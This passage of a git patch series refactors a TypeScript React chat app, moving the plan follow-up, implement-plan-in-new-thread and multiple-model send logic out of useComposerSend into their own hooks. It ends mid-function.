usePlanFollowUpSend } from "./useProposedPlanSend"; import { type ComposerDispatchMode } from "@t3tools/client-runtime/state/composer-dispatch"; import { awaitAttachmentUploads, @@ -163,7 +158,6 @@ interface ComposerSendInput { readonly isGitRepo: boolean; readonly phase: SessionPhase; readonly runtimeMode: RuntimeMode; - readonly defaultRuntimeMode: RuntimeMode; readonly sendEnvMode: DraftThreadEnvMode; readonly startFromOrigin: boolean; readonly localCheckoutBranchMismatch: { @@ -264,7 +258,6 @@ export function useComposerSend(input: ComposerSendInput) { isGitRepo, phase, runtimeMode, - defaultRuntimeMode, sendEnvMode, startFromOrigin, localCheckoutBranchMismatch, @@ -328,8 +321,6 @@ export function useComposerSend(input: ComposerSendInput) { } = input; const handleNewThread = useNewThreadHandler(); const navigate = useNavigate(); - const createThread = useOrchestrationCommand(threadEnvironment.create, { reportFailure: false }); - const deleteThread = useOrchestrationCommand(threadEnvironment.delete, { reportFailure: false }); const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { reportFailure: false, }); @@ -345,10 +336,26 @@ export function useComposerSend(input: ComposerSendInput) { ); const setComposerDraftReviewComments = useComposerDraftStore((store) => store.setReviewComments); const setComposerDraftThreadContexts = useComposerDraftStore((store) => store.setThreadContexts); - const setComposerDraftInteractionMode = useComposerDraftStore( - (store) => store.setInteractionMode, - ); const clearComposerDraftContent = useComposerDraftStore((store) => store.clearComposerContent); + const submitPlanFollowUp = usePlanFollowUpSend({ + environmentId, + routeThreadKey, + activeThread, + activeThreadBranch, + activeProposedPlan, + isServerThread, + isSendBusy, + isConnecting, + composerRef, + beginLocalDispatch, + resetLocalDispatch, + runtimeMode, + localCheckoutBranchMismatch, + setOptimisticUserMessages, + setThreadError, + anchorNewTurn, + persistThreadSettingsForNextTurn, + }); const fanoutSelectionsAtom = draftFanoutSelectionsAtom(routeThreadKey); const readMultipleModelSelections = () => appAtomRegistry.get(fanoutSelectionsAtom); const { sendInFlight: sendInFlightRef, uncertainSubmissions: uncertainMultipleSubmissionsRef } = @@ -649,7 +656,7 @@ export function useComposerSend(input: ComposerSendInput) { promptRef.current = ""; clearComposerDraftContent(composerDraftTarget); composerRef.current?.resetCursorState(); - const followUpSent = await onSubmitPlanFollowUp({ + const followUpSent = await submitPlanFollowUp({ text: followUp.text, context: buildMessageContext({ terminalContexts: sendableComposerTerminalContexts, @@ -1542,282 +1549,5 @@ export function useComposerSend(input: ComposerSendInput) { } }; - async function onSubmitPlanFollowUp({ - text, - context, - interactionMode: nextInteractionMode, - }: { - text: string; - context?: ReturnType; - interactionMode: "default" | "plan"; - }) { - if ( - !readEnvironmentScope(environmentId, AuthOrchestrationOperateScope) || - !activeThread || - !isServerThread || - isSendBusy || - isConnecting || - sendInFlightRef.current - ) { - return false; - } - - const trimmed = text.trim(); - if (!trimmed) { - return false; - } - - const sendCtx = composerRef.current?.getSendContext(); - if (!sendCtx?.providerAvailable || !sendCtx.interactionModeEnabled) { - return false; - } - const { - selectedProvider: ctxSelectedProvider, - selectedModel: ctxSelectedModel, - selectedProviderModels: ctxSelectedProviderModels, - selectedPromptEffort: ctxSelectedPromptEffort, - selectedModelSelection: ctxSelectedModelSelection, - } = sendCtx; - - const threadIdForSend = activeThread.id; - const messageIdForSend = newMessageId(); - const messageCreatedAt = new Date().toISOString(); - const outgoingMessageText = formatOutgoingPrompt({ - provider: ctxSelectedProvider, - model: ctxSelectedModel, - models: ctxSelectedProviderModels, - effort: ctxSelectedPromptEffort, - text: trimmed, - }); - - sendInFlightRef.current = true; - beginLocalDispatch({ preparingWorktree: false }); - setThreadError(threadIdForSend, null); - - anchorNewTurn( - scopedThreadKey(scopeThreadRef(activeThread.environmentId, threadIdForSend)), - messageIdForSend, - ); - - setOptimisticUserMessages((existing) => [ - ...existing, - { - id: messageIdForSend, - role: "user", - text: outgoingMessageText, - ...(context ? { context } : {}), - runId: null, - createdAt: messageCreatedAt, - updatedAt: messageCreatedAt, - streaming: false, - }, - ]); - - const settingsResult = await persistThreadSettingsForNextTurn({ - threadId: threadIdForSend, - createdAt: messageCreatedAt, - ...(localCheckoutBranchMismatch ? { branch: localCheckoutBranchMismatch.currentBranch } : {}), - runtimeMode, - interactionMode: nextInteractionMode, - }); - let failure: AtomCommandResult | null = - settingsResult._tag === "Failure" ? settingsResult : null; - - if (failure === null) { - setComposerDraftInteractionMode( - scopeThreadRef(activeThread.environmentId, threadIdForSend), - nextInteractionMode, - ); - - const startResult = await startThreadTurn({ - environmentId, - input: { - threadId: threadIdForSend, - message: { - messageId: messageIdForSend, - role: "user", - text: outgoingMessageText, - ...(context ? { context } : {}), - attachments: [], - }, - modelSelection: ctxSelectedModelSelection, - titleSeed: activeThread.title, - runtimeMode, - interactionMode: nextInteractionMode, - ...(nextInteractionMode === "default" && activeProposedPlan - ? { - sourceProposedPlan: { - threadId: activeThread.id, - planId: activeProposedPlan.id, - }, - } - : {}), - createdAt: messageCreatedAt, - }, - }); - failure = startResult._tag === "Failure" ? startResult : null; - } - - if (failure === null) { - sendInFlightRef.current = false; - resetLocalDispatch(); - return true; - } - - setOptimisticUserMessages((existing) => - existing.filter((message) => message.id !== messageIdForSend), - ); - if (!isAtomCommandInterrupted(failure)) { - const error = squashAtomCommandFailure(failure); - setThreadError( - threadIdForSend, - error instanceof Error ? error.message : "Failed to send plan follow-up.", - ); - } - sendInFlightRef.current = false; - resetLocalDispatch(); - return false; - } - - const onImplementPlanInNewThread = async () => { - if ( - !readEnvironmentScope(environmentId, AuthOrchestrationOperateScope) || - !activeThread || - !activeProject || - !activeProposedPlan || - !isServerThread || - isSendBusy || - isConnecting || - activeEnvironmentUnavailable || - sendInFlightRef.current - ) { - return; - } - - const sendCtx = composerRef.current?.getSendContext(); - if (!sendCtx?.providerAvailable || !sendCtx.interactionModeEnabled) { - return; - } - const { - selectedProvider: ctxSelectedProvider, - selectedModel: ctxSelectedModel, - selectedProviderModels: ctxSelectedProviderModels, - selectedPromptEffort: ctxSelectedPromptEffort, - selectedModelSelection: ctxSelectedModelSelection, - } = sendCtx; - - const createdAt = new Date().toISOString(); - const nextThreadId = newThreadId(); - const planMarkdown = activeProposedPlan.planMarkdown; - const implementationPrompt = buildPlanImplementationPrompt(planMarkdown); - const outgoingImplementationPrompt = formatOutgoingPrompt({ - provider: ctxSelectedProvider, - model: ctxSelectedModel, - models: ctxSelectedProviderModels, - effort: ctxSelectedPromptEffort, - text: implementationPrompt, - }); - const nextThreadTitle = truncate(buildPlanImplementationThreadTitle(planMarkdown)); - const nextThreadModelSelection: ModelSelection = ctxSelectedModelSelection; - - sendInFlightRef.current = true; - beginLocalDispatch({ preparingWorktree: false }); - const finish = () => { - sendInFlightRef.current = false; - resetLocalDispatch(); - }; - - const createResult = await createThread({ - environmentId, - input: { - threadId: nextThreadId, - projectId: activeProject.id, - title: nextThreadTitle, - modelSelection: nextThreadModelSelection, - runtimeMode: defaultRuntimeMode, - interactionMode: "default", - branch: activeThreadBranch, - worktreePath: activeThread.worktreePath, - createdAt, - }, - }); - let failure: AtomCommandResult | null = - createResult._tag === "Failure" ? createResult : null; - - if (failure === null) { - const startResult = await startThreadTurn({ - environmentId, - input: { - threadId: nextThreadId, - message: { - messageId: newMessageId(), - role: "user", - text: outgoingImplementationPrompt, - attachments: [], - }, - modelSelection: ctxSelectedModelSelection, - titleSeed: nextThreadTitle, - runtimeMode: defaultRuntimeMode, - interactionMode: "default", - sourceProposedPlan: { - threadId: activeThread.id, - planId: activeProposedPlan.id, - }, - createdAt, - }, - }); - failure = startResult._tag === "Failure" ? startResult : null; - } - - if (failure === null) { - const startedResult = await settlePromise(() => - waitForStartedServerThread(scopeThreadRef(activeThread.environmentId, nextThreadId)), - ); - failure = startedResult._tag === "Failure" ? startedResult : null; - } - - if (failure === null) { - const navigateResult = await settlePromise(() => - navigate({ - to: "/$environmentId/$threadId", - params: { - environmentId: activeThread.environmentId, - threadId: nextThreadId, - }, - }), - ); - failure = navigateResult._tag === "Failure" ? navigateResult : null; - } - - if (failure !== null) { - const cleanupResult = await deleteThread({ - environmentId, - input: { - threadId: nextThreadId, - }, - }); - if (cleanupResult._tag === "Failure" && !isAtomCommandInterrupted(cleanupResult)) { - console.warn( - "Failed to clean up implementation thread after start failure.", - squashAtomCommandFailure(cleanupResult), - ); - } - if (!isAtomCommandInterrupted(failure)) { - const error = squashAtomCommandFailure(failure); - toastManager.add( - stackedThreadToast({ - type: "error", - title: "Could not start implementation thread", - description: - error instanceof Error - ? error.message - : "An error occurred while creating the new thread.", - }), - ); - } - } - finish(); - }; - - return { onSend, onImplementPlanInNewThread }; + return { onSend }; } diff --git a/apps/web/src/components/chat/useProposedPlanSend.ts b/apps/web/src/components/chat/useProposedPlanSend.ts new file mode 100644 index 000000000000..7f4906d86647 --- /dev/null +++ b/apps/web/src/components/chat/useProposedPlanSend.ts @@ -0,0 +1,402 @@ +import { + AuthOrchestrationOperateScope, + type EnvironmentId, + type ModelSelection, + type ProviderInteractionMode, + type RuntimeMode, +} from "@t3tools/contracts"; +import { scopeThreadRef } from "@t3tools/client-runtime/environment"; +import { + isAtomCommandInterrupted, + settlePromise, + squashAtomCommandFailure, + type AtomCommandResult, +} from "@t3tools/client-runtime/state/runtime"; +import type { + EnvironmentProject, + EnvironmentThreadShell, +} from "@t3tools/client-runtime/state/shell"; +import { scopedThreadKey } from "@t3tools/client-runtime/environment"; +import { truncate } from "@t3tools/shared/String"; +import { useNavigate } from "@tanstack/react-router"; +import type { Dispatch, SetStateAction } from "react"; +import { newMessageId, newThreadId } from "~/lib/utils"; +import { useComposerDraftStore } from "../../composerDraftStore"; +import type { ComposerHandleRef } from "../../composerHandleContext"; +import type { buildMessageContext } from "../../lib/composerContextRecords"; +import { + buildPlanImplementationPrompt, + buildPlanImplementationThreadTitle, +} from "../../proposedPlan"; +import type { LatestProposedPlanState } from "../../session-logic"; +import { readEnvironmentScope } from "../../state/session"; +import { threadEnvironment } from "../../state/threads"; +import { useOrchestrationCommand } from "../../state/use-orchestration-command"; +import type { ChatMessage } from "../../types"; +import { stackedThreadToast, toastManager } from "../ui/toast"; +import { + formatOutgoingPrompt, + type makeThreadErrorSetter, + waitForStartedServerThread, +} from "../ChatView.logic"; +import { draftSendState } from "./chatViewSend"; +import type { useLocalDispatchState } from "./useLocalDispatchState"; +import type { useTimelineFollow } from "./useTimelineFollow"; + +type LocalDispatchState = ReturnType; + +interface PlanSendBase { + readonly environmentId: EnvironmentId; + readonly routeThreadKey: string; + readonly activeThread: EnvironmentThreadShell | undefined; + readonly activeThreadBranch: string | null; + readonly activeProposedPlan: LatestProposedPlanState | null; + readonly isServerThread: boolean; + readonly isSendBusy: boolean; + readonly isConnecting: boolean; + readonly composerRef: ComposerHandleRef; + readonly beginLocalDispatch: LocalDispatchState["beginLocalDispatch"]; + readonly resetLocalDispatch: LocalDispatchState["resetLocalDispatch"]; +} + +interface PlanFollowUpSendInput extends PlanSendBase { + readonly runtimeMode: RuntimeMode; + readonly localCheckoutBranchMismatch: { readonly currentBranch: string } | null; + readonly setOptimisticUserMessages: Dispatch>; + readonly setThreadError: ReturnType; + readonly anchorNewTurn: ReturnType["anchorNewTurn"]; + readonly persistThreadSettingsForNextTurn: (input: { + threadId: EnvironmentThreadShell["id"]; + createdAt: string; + branch?: string; + runtimeMode: RuntimeMode; + interactionMode: ProviderInteractionMode; + }) => Promise>; +} + +/** + * Answers a proposed plan on this thread: refine it in plan mode, or implement it here + * (which links the turn to the plan). Resolves whether the turn started. + */ +export function usePlanFollowUpSend(input: PlanFollowUpSendInput) { + const { + environmentId, + routeThreadKey, + activeThread, + activeProposedPlan, + isServerThread, + isSendBusy, + isConnecting, + composerRef, + beginLocalDispatch, + resetLocalDispatch, + runtimeMode, + localCheckoutBranchMismatch, + setOptimisticUserMessages, + setThreadError, + anchorNewTurn, + persistThreadSettingsForNextTurn, + } = input; + const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { + reportFailure: false, + }); + const setComposerDraftInteractionMode = useComposerDraftStore( + (store) => store.setInteractionMode, + ); + const { sendInFlight: sendInFlightRef } = draftSendState(routeThreadKey); + + return async function submitPlanFollowUp({ + text, + context, + interactionMode: nextInteractionMode, + }: { + text: string; + context?: ReturnType; + interactionMode: "default" | "plan"; + }) { + if ( + !readEnvironmentScope(environmentId, AuthOrchestrationOperateScope) || + !activeThread || + !isServerThread || + isSendBusy || + isConnecting || + sendInFlightRef.current + ) { + return false; + } + + const trimmed = text.trim(); + if (!trimmed) { + return false; + } + + const sendCtx = composerRef.current?.getSendContext(); + if (!sendCtx?.providerAvailable || !sendCtx.interactionModeEnabled) { + return false; + } + + const threadIdForSend = activeThread.id; + const messageIdForSend = newMessageId(); + const messageCreatedAt = new Date().toISOString(); + const outgoingMessageText = formatOutgoingPrompt({ + provider: sendCtx.selectedProvider, + model: sendCtx.selectedModel, + models: sendCtx.selectedProviderModels, + effort: sendCtx.selectedPromptEffort, + text: trimmed, + }); + + sendInFlightRef.current = true; + beginLocalDispatch({ preparingWorktree: false }); + setThreadError(threadIdForSend, null); + + anchorNewTurn( + scopedThreadKey(scopeThreadRef(activeThread.environmentId, threadIdForSend)), + messageIdForSend, + ); + + setOptimisticUserMessages((existing) => [ + ...existing, + { + id: messageIdForSend, + role: "user", + text: outgoingMessageText, + ...(context ? { context } : {}), + runId: null, + createdAt: messageCreatedAt, + updatedAt: messageCreatedAt, + streaming: false, + }, + ]); + + const settingsResult = await persistThreadSettingsForNextTurn({ + threadId: threadIdForSend, + createdAt: messageCreatedAt, + ...(localCheckoutBranchMismatch ? { branch: localCheckoutBranchMismatch.currentBranch } : {}), + runtimeMode, + interactionMode: nextInteractionMode, + }); + let failure: AtomCommandResult | null = + settingsResult._tag === "Failure" ? settingsResult : null; + + if (failure === null) { + setComposerDraftInteractionMode( + scopeThreadRef(activeThread.environmentId, threadIdForSend), + nextInteractionMode, + ); + + const startResult = await startThreadTurn({ + environmentId, + input: { + threadId: threadIdForSend, + message: { + messageId: messageIdForSend, + role: "user", + text: outgoingMessageText, + ...(context ? { context } : {}), + attachments: [], + }, + modelSelection: sendCtx.selectedModelSelection, + titleSeed: activeThread.title, + runtimeMode, + interactionMode: nextInteractionMode, + ...(nextInteractionMode === "default" && activeProposedPlan + ? { + sourceProposedPlan: { + threadId: activeThread.id, + planId: activeProposedPlan.id, + }, + } + : {}), + createdAt: messageCreatedAt, + }, + }); + failure = startResult._tag === "Failure" ? startResult : null; + } + + if (failure === null) { + sendInFlightRef.current = false; + resetLocalDispatch(); + return true; + } + + setOptimisticUserMessages((existing) => + existing.filter((message) => message.id !== messageIdForSend), + ); + if (!isAtomCommandInterrupted(failure)) { + const error = squashAtomCommandFailure(failure); + setThreadError( + threadIdForSend, + error instanceof Error ? error.message : "Failed to send plan follow-up.", + ); + } + sendInFlightRef.current = false; + resetLocalDispatch(); + return false; + }; +} + +interface ImplementPlanInNewThreadInput extends PlanSendBase { + readonly activeProject: EnvironmentProject | null; + readonly activeEnvironmentUnavailable: boolean; + readonly defaultRuntimeMode: RuntimeMode; +} + +/** + * Starts a fresh thread that implements the active proposed plan, then opens it. The new + * thread is deleted again if it cannot be started or opened. + */ +export function useImplementPlanInNewThread(input: ImplementPlanInNewThreadInput) { + const { + environmentId, + routeThreadKey, + activeThread, + activeThreadBranch, + activeProposedPlan, + isServerThread, + isSendBusy, + isConnecting, + composerRef, + beginLocalDispatch, + resetLocalDispatch, + activeProject, + activeEnvironmentUnavailable, + defaultRuntimeMode, + } = input; + const navigate = useNavigate(); + const createThread = useOrchestrationCommand(threadEnvironment.create, { reportFailure: false }); + const deleteThread = useOrchestrationCommand(threadEnvironment.delete, { reportFailure: false }); + const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { + reportFailure: false, + }); + const { sendInFlight: sendInFlightRef } = draftSendState(routeThreadKey); + + return async () => { + if ( + !readEnvironmentScope(environmentId, AuthOrchestrationOperateScope) || + !activeThread || + !activeProject || + !activeProposedPlan || + !isServerThread || + isSendBusy || + isConnecting || + activeEnvironmentUnavailable || + sendInFlightRef.current + ) { + return; + } + + const sendCtx = composerRef.current?.getSendContext(); + if (!sendCtx?.providerAvailable || !sendCtx.interactionModeEnabled) { + return; + } + + const createdAt = new Date().toISOString(); + const nextThreadId = newThreadId(); + const planMarkdown = activeProposedPlan.planMarkdown; + const outgoingImplementationPrompt = formatOutgoingPrompt({ + provider: sendCtx.selectedProvider, + model: sendCtx.selectedModel, + models: sendCtx.selectedProviderModels, + effort: sendCtx.selectedPromptEffort, + text: buildPlanImplementationPrompt(planMarkdown), + }); + const nextThreadTitle = truncate(buildPlanImplementationThreadTitle(planMarkdown)); + const nextThreadModelSelection: ModelSelection = sendCtx.selectedModelSelection; + + sendInFlightRef.current = true; + beginLocalDispatch({ preparingWorktree: false }); + + const createResult = await createThread({ + environmentId, + input: { + threadId: nextThreadId, + projectId: activeProject.id, + title: nextThreadTitle, + modelSelection: nextThreadModelSelection, + runtimeMode: defaultRuntimeMode, + interactionMode: "default", + branch: activeThreadBranch, + worktreePath: activeThread.worktreePath, + createdAt, + }, + }); + let failure: AtomCommandResult | null = + createResult._tag === "Failure" ? createResult : null; + + if (failure === null) { + const startResult = await startThreadTurn({ + environmentId, + input: { + threadId: nextThreadId, + message: { + messageId: newMessageId(), + role: "user", + text: outgoingImplementationPrompt, + attachments: [], + }, + modelSelection: nextThreadModelSelection, + titleSeed: nextThreadTitle, + runtimeMode: defaultRuntimeMode, + interactionMode: "default", + sourceProposedPlan: { + threadId: activeThread.id, + planId: activeProposedPlan.id, + }, + createdAt, + }, + }); + failure = startResult._tag === "Failure" ? startResult : null; + } + + if (failure === null) { + const startedResult = await settlePromise(() => + waitForStartedServerThread(scopeThreadRef(activeThread.environmentId, nextThreadId)), + ); + failure = startedResult._tag === "Failure" ? startedResult : null; + } + + if (failure === null) { + const navigateResult = await settlePromise(() => + navigate({ + to: "/$environmentId/$threadId", + params: { + environmentId: activeThread.environmentId, + threadId: nextThreadId, + }, + }), + ); + failure = navigateResult._tag === "Failure" ? navigateResult : null; + } + + if (failure !== null) { + const cleanupResult = await deleteThread({ + environmentId, + input: { + threadId: nextThreadId, + }, + }); + if (cleanupResult._tag === "Failure" && !isAtomCommandInterrupted(cleanupResult)) { + console.warn( + "Failed to clean up implementation thread after start failure.", + squashAtomCommandFailure(cleanupResult), + ); + } + if (!isAtomCommandInterrupted(failure)) { + const error = squashAtomCommandFailure(failure); + toastManager.add( + stackedThreadToast({ + type: "error", + title: "Could not start implementation thread", + description: + error instanceof Error + ? error.message + : "An error occurred while creating the new thread.", + }), + ); + } + } + sendInFlightRef.current = false; + resetLocalDispatch(); + }; +} From ac23b74df83d95f98419f3ade6103054a54daec1 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:25:09 -0700 Subject: [PATCH 061/130] refactor(web): multiple-model sends live in their own hook (#23094) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/ChatView.tsx | 1 - apps/web/src/components/chat/chatViewSend.ts | 37 +++ .../src/components/chat/useComposerSend.ts | 244 ++------------- .../components/chat/useMultipleModelSend.ts | 293 ++++++++++++++++++ 4 files changed, 364 insertions(+), 211 deletions(-) create mode 100644 apps/web/src/components/chat/useMultipleModelSend.ts diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index 0546e0098fb3..88ea30cdc2cd 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -3032,7 +3032,6 @@ export default function ChatView(props: ChatViewProps) { setSetupQueueSendThreadKey, setOptimisticUserMessages, setFeedbackSubmissionsByThreadKey, - setMultipleModelSelections, setThreadError, setKeepFullHistory, anchorNewTurn, diff --git a/apps/web/src/components/chat/chatViewSend.ts b/apps/web/src/components/chat/chatViewSend.ts index 106131998368..9755311a9a68 100644 --- a/apps/web/src/components/chat/chatViewSend.ts +++ b/apps/web/src/components/chat/chatViewSend.ts @@ -17,6 +17,7 @@ import { type AtomCommandResult, } from "@t3tools/client-runtime/state/runtime"; import { readLocalApi } from "../../localApi"; +import { getUploadedAttachments } from "../../lib/attachmentUploadQueue"; import { findRevertCheckpoint } from "../../session-logic"; import { type ChatMessage } from "../../types"; import { randomUUID } from "~/lib/utils"; @@ -38,6 +39,7 @@ import { resolveComposerInteractionMode, cloneComposerImageForRetry, type ComposerSendSnapshot, + readFileAsDataUrl, prepareRevertedMessageAttachments, waitForRevertedMessage, } from "../ChatView.logic"; @@ -326,3 +328,38 @@ export function resolveMultipleModelTargets(input: { }; }); } + +/** + * The attachments a turn sends: the server's upload records when it takes uploads, otherwise + * images inlined as data URLs. Rejects when an attachment cannot go out. + */ +export function prepareTurnAttachments(input: { + readonly environmentId: EnvironmentId; + readonly attachments: ReadonlyArray; + readonly usesAttachmentUploads: boolean; +}) { + const { environmentId, usesAttachmentUploads } = input; + return Promise.all( + input.attachments.map(async (attachment) => { + if (usesAttachmentUploads) { + const uploaded = getUploadedAttachments({ environmentId, images: [attachment] })?.[0]; + if (!uploaded) { + throw new Error(`Attachment '${attachment.name}' did not finish uploading.`); + } + return uploaded; + } + if (attachment.type !== "image") { + throw new Error("This server does not support file attachments."); + } + return { + type: "image" as const, + id: attachment.id, + name: attachment.name, + mimeType: attachment.mimeType, + sizeBytes: attachment.sizeBytes, + dataUrl: await readFileAsDataUrl(attachment.file), + ...(attachment.source ? { source: attachment.source } : {}), + }; + }), + ); +} diff --git a/apps/web/src/components/chat/useComposerSend.ts b/apps/web/src/components/chat/useComposerSend.ts index df465e048111..3e9ec35ca1f2 100644 --- a/apps/web/src/components/chat/useComposerSend.ts +++ b/apps/web/src/components/chat/useComposerSend.ts @@ -5,7 +5,6 @@ import { restorePlanFollowUpComposer, buildExpiredTerminalContextToastCopy, deriveComposerSendState, - readFileAsDataUrl, revokeUserMessagePreviewUrls, boundAttachmentIds, formatOutgoingPrompt, @@ -84,6 +83,7 @@ import { environmentServerConfigsAtom } from "../../state/server"; import { threadEnvironment } from "../../state/threads"; import { runMobileComposerTransition } from "./draftHeroTransition"; import { usePlanFollowUpSend } from "./useProposedPlanSend"; +import { useMultipleModelSend } from "./useMultipleModelSend"; import { type ComposerDispatchMode } from "@t3tools/client-runtime/state/composer-dispatch"; import { awaitAttachmentUploads, @@ -102,12 +102,11 @@ import { threadContextsOutsideEnvironment, } from "@t3tools/shared/composerContextReferences"; import { - draftFanoutSelectionsAtom, draftSendState, type MultipleModelTarget, resolveMultipleModelTargets, + prepareTurnAttachments, restoreComposerDraft, - startFanoutThread, } from "./chatViewSend"; import type { EnvironmentServerConfig } from "@t3tools/client-runtime/connection"; import type { @@ -215,9 +214,6 @@ interface ComposerSendInput { readonly setFeedbackSubmissionsByThreadKey: Dispatch< SetStateAction>> >; - readonly setMultipleModelSelections: ( - selections: SetStateAction | null>, - ) => void; readonly setThreadError: ReturnType; readonly setKeepFullHistory: (threadKey: string, keep: boolean) => void; readonly anchorNewTurn: TimelineFollow["anchorNewTurn"]; @@ -310,7 +306,6 @@ export function useComposerSend(input: ComposerSendInput) { setSetupQueueSendThreadKey, setOptimisticUserMessages, setFeedbackSubmissionsByThreadKey, - setMultipleModelSelections, setThreadError, setKeepFullHistory, anchorNewTurn, @@ -337,6 +332,19 @@ export function useComposerSend(input: ComposerSendInput) { const setComposerDraftReviewComments = useComposerDraftStore((store) => store.setReviewComments); const setComposerDraftThreadContexts = useComposerDraftStore((store) => store.setThreadContexts); const clearComposerDraftContent = useComposerDraftStore((store) => store.clearComposerContent); + const sendToMultipleModels = useMultipleModelSend({ + environmentId, + routeThreadKey, + currentRouteThreadKeyRef, + draftId, + composerDraftTarget, + composerRef, + promptRef, + runtimeMode, + startFromOrigin, + resetLocalDispatch, + setThreadError, + }); const submitPlanFollowUp = usePlanFollowUpSend({ environmentId, routeThreadKey, @@ -356,10 +364,7 @@ export function useComposerSend(input: ComposerSendInput) { anchorNewTurn, persistThreadSettingsForNextTurn, }); - const fanoutSelectionsAtom = draftFanoutSelectionsAtom(routeThreadKey); - const readMultipleModelSelections = () => appAtomRegistry.get(fanoutSelectionsAtom); - const { sendInFlight: sendInFlightRef, uncertainSubmissions: uncertainMultipleSubmissionsRef } = - draftSendState(routeThreadKey); + const { sendInFlight: sendInFlightRef } = draftSendState(routeThreadKey); const composerSendGenerationRef = useRef(0); const environmentUnavailableSendToastSlotRef = useRef(0); // A send awaits uploads before it declines, so it reads the approvals pending by then. @@ -1029,207 +1034,26 @@ export function useComposerSend(input: ComposerSendInput) { ); } - const turnAttachmentsPromise = Promise.all( - composerAttachmentsSnapshot.map(async (attachment) => { - if (turnUsesAttachmentUploads) { - const uploaded = getUploadedAttachments({ environmentId, images: [attachment] })?.[0]; - if (!uploaded) { - throw new Error(`Attachment '${attachment.name}' did not finish uploading.`); - } - return uploaded; - } - if (attachment.type !== "image") { - throw new Error("This server does not support file attachments."); - } - return { - type: "image" as const, - id: attachment.id, - name: attachment.name, - mimeType: attachment.mimeType, - sizeBytes: attachment.sizeBytes, - dataUrl: await readFileAsDataUrl(attachment.file), - ...(attachment.source ? { source: attachment.source } : {}), - }; - }), - ); + const turnAttachmentsPromise = prepareTurnAttachments({ + environmentId, + attachments: composerAttachmentsSnapshot, + usesAttachmentUploads: turnUsesAttachmentUploads, + }); if (multipleModelSelections !== null) { - const failedSelections: ModelSelection[] = []; - let clearedDraft = false; - let releasedComposer = false; - let canRestoreDraft = () => false; - let startedCount = 0; - // Anything thrown here (an attachment the server can no longer take) - // fails every selection; the draft restore below still runs. - const sendResult = await settlePromise(async () => { - const attachments = await turnAttachmentsPromise; - const fileBlockReason = readLiveAttachmentCapabilities().fileBlockReason; - if (fileBlockReason !== null) throw new Error(fileBlockReason); - const context = buildOutgoingMessageContext( - boundAttachmentIds(attachments, composerAttachmentsSnapshot), - ); - const title = deriveThreadTitleSeed({ - text: messageTextForSend, - attachments: composerAttachmentsSnapshot, - }); - promptRef.current = ""; - clearComposerDraftContent(composerDraftTarget); - composerRef.current?.resetCursorState(); - clearedDraft = true; - const clearedDraftSnapshot = useComposerDraftStore - .getState() - .getComposerDraft(composerDraftTarget); - const submittedSelections = readMultipleModelSelections(); - canRestoreDraft = () => - currentRouteThreadKeyRef.current === routeThreadKey && - composerSendGenerationRef.current === sendGeneration && - useComposerDraftStore.getState().getComposerDraft(composerDraftTarget) === - clearedDraftSnapshot && - readMultipleModelSelections() === submittedSelections; - setThreadError(threadIdForSend, null); - const starts = Promise.all( - multipleTargets.map(async (target) => { - const started = await startFanoutThread({ - retryKey: JSON.stringify([ - routeThreadKey, - target.selection.instanceId, - target.selection.model, - ]), - model: target.selection.model, - uncertainSubmissions: uncertainMultipleSubmissionsRef.current, - start: (targetThreadId) => { - const supportsInlineMessageContext = - appAtomRegistry.get(environmentServerConfigsAtom).get(environmentId)?.environment - .capabilities.inlineMessageContext === true; - return startThreadTurn({ - environmentId, - input: { - threadId: targetThreadId, - message: { - messageId: newMessageId(), - role: "user", - attachments, - ...withMessageContext({ - text: target.text, - context, - supportsInlineMessageContext, - }), - }, - modelSelection: target.selection, - titleSeed: title, - runtimeMode, - interactionMode: target.interactionMode, - bootstrap: { - createThread: { - projectId: activeProject.id, - title, - modelSelection: target.selection, - runtimeMode, - interactionMode: target.interactionMode, - branch: activeThreadBranch, - worktreePath: null, - createdAt: messageCreatedAt, - }, - prepareWorktree: { - projectCwd: activeProject.workspaceRoot, - baseBranch: activeThreadBranch!, - requireWorktree: true, - ...(startFromOrigin ? { startFromOrigin: true } : {}), - }, - runSetupScript: true, - }, - createdAt: messageCreatedAt, - }, - }); - }, - openThread: (threadId) => - void navigate({ - to: "/$environmentId/$threadId", - params: buildThreadRouteParams(scopeThreadRef(environmentId, threadId)), - }), - }); - if (started) startedCount += 1; - else failedSelections.push(target.selection); - }), - ); - sendInFlightRef.current = false; - resetLocalDispatch(); - releasedComposer = true; - await starts; - if (startedCount > 0) { - toastManager.add( - stackedThreadToast({ - type: "success", - title: `Started ${startedCount} ${startedCount === 1 ? "thread" : "threads"} in background`, - }), - ); - } - if (failedSelections.length === 0 && turnUsesAttachmentUploads) { - releaseDraftAttachments(composerAttachmentsSnapshot); - } + await sendToMultipleModels({ + threadId: threadIdForSend, + project: activeProject, + branch: activeThreadBranch!, + selections: multipleModelSelections, + targets: multipleTargets, + sendSnapshot, + createdAt: messageCreatedAt, + attachmentsPromise: turnAttachmentsPromise, + usesAttachmentUploads: turnUsesAttachmentUploads, + readFileBlockReason: () => readLiveAttachmentCapabilities().fileBlockReason, + buildOutgoingMessageContext, + isCurrentSend: () => composerSendGenerationRef.current === sendGeneration, }); - if (sendResult._tag === "Failure") { - const error = squashAtomCommandFailure(sendResult); - failedSelections.push(...multipleModelSelections); - setThreadError( - threadIdForSend, - error instanceof Error ? error.message : "Failed to send messages.", - ); - } - const restoreFailedDraft = () => { - setMultipleModelSelections(failedSelections); - if (clearedDraft) { - restoreComposerDraft(composerDraftTarget, sendSnapshot); - if (composerRef.current && currentRouteThreadKeyRef.current === routeThreadKey) { - promptRef.current = messageTextForSend; - composerRef.current.resetCursorState({ - cursor: collapseExpandedComposerCursor(messageTextForSend, messageTextForSend.length), - prompt: messageTextForSend, - detectTrigger: true, - }); - } - } - }; - if (failedSelections.length > 0) { - if (canRestoreDraft() && composerRef.current) { - restoreFailedDraft(); - } else if (clearedDraft) { - const recoveryToastId = toastManager.add( - stackedThreadToast({ - type: "error", - title: "A background prompt could not be sent", - description: - "Your newer draft is unchanged. Restore the failed prompt when this composer is empty.", - timeout: 0, - actionProps: { - children: "Restore prompt", - onClick: () => { - if ( - !draftId || - 